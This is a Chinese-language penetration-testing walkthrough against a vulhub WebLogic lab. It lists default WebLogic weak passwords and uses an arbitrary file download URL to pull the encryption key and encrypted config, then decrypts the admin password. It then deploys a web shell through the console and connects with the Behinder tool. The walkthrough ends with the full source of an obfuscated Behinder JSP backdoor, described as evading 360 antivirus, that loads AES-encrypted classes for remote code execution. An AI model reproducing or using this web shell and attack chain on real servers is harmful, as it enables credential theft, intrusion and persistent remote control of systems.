一、搭建JBass环境
vulhub下载:sudo git clone https://github.com/vulhub/vulhub.git
vulhub是基于docker-compose环境搭建的,里面集成了很多的漏洞版本,例如:
vulhub里面又很很多个漏洞,每一个文件夹代表着一个漏洞
接在来,开始搭建vulhub环境:
搭建vulhub环境需要docker-compose,如果没有docker-compose的话就先下载吧
下载:sudo apt install docker-compose
docker-compose和vulhub都安装完后:
进入到vulhub/weblogic选择,weak_password,弱口令模块
进入到weak_password文件夹后,执行sudo docker-compose build对文件进行编译:
前提是当前文件夹下有docker-compose.yml文件,docker-compose.yml代表着一个漏洞环境,如果没有docker-compose.yml文件在编译的时候会报错
编译完后,执行docker-compose up -d进行自动安装环境,并且后台运行
安装运行完后,使用命令sudo docker ps查看docker正在运行的环境
可以看到已经运行了weblogic环境并且映射了7001端口
打开页面:
在url后面加入/console/login/会自动跳转到登录页面,
Weblogic常见弱口令如下:
User ID |
Password |
system |
password |
admin |
security |
joe |
password |
mary |
password |
system |
security |
wlcsystem |
wlcsystem |
wlpisystem |
wlpisystem |
weblogic |
Oracle@123 |
|
Oracle123 |
由于登录次数超过五次后就会限制登录了,所以不要轻易的进行暴力破解
二、利用任意文件下载漏洞破解登录密码
如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。
weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。
Weblogic将用户的密文与密钥保存在本地
/root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:
./security/SerializedSystemIni.dat 密钥
./config/config.xml 密文
vulhub测试环境存在一个任意文件下载漏洞:
测试访问/etc/passwd文件
http://192.168.1.112:7001/hello/file.jsp?path=/etc/passwd
下载SerializedSystemIni.dat 密钥:
192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
右键保存到本地
下载密文:
http://192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
可以直接用浏览器下载
密文-》//找到</node-manager-password-encrypted>字段
然后使用密钥和密文进行解密:
有了密码后就可以登录后台:用户名:weblogic 密码:Oracle@123
工具下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password
三、通过部署功能上传web_Shell
进入后台后,点击部署,然后点击安装:
然后点击文件上传:
这里的一句话要压缩成zip文件格式,然后修规后缀为war再上传:
点击下一步:
再点击下一步:
再点击下一步进行部署:
再点击下一步进行安装:
在点击下一步完成安装:
最后完成安装:
访问shell路径是上下文跟路径+你之前压缩的jsp文件名,而不是压缩包的文件名:
http://192.168.1.112:7001/bq2/bqshell.jsp
使用冰蝎链接:
执行命令:
四、冰蝎连接乱码问题
导致冰蝎连接失败,并且返回一堆乱码,这个很定是shell编码的问题。
刚开始的时候,我是在Ubuntu上面编写的shell,上传后连接老是出现编码问题。
经过一个多小时的排查,把shell放在windows上编写,并且另存为UTF-8编码,然后再传到Ubuntu上面压缩成ZIP文件,然后再后缀名为war,然后再上传到部署页面,然后再用冰蝎去连接就没有问题了!!!
(简单来说就是jsp文件编码要改成utf-8)
命令代码执行:
五、冰蝎jsp一句话
冰蝎工具:https://github.com/rebeyond/Behinder/releases
jsp一句话:听说这个是过360的
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extend\u0073 ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>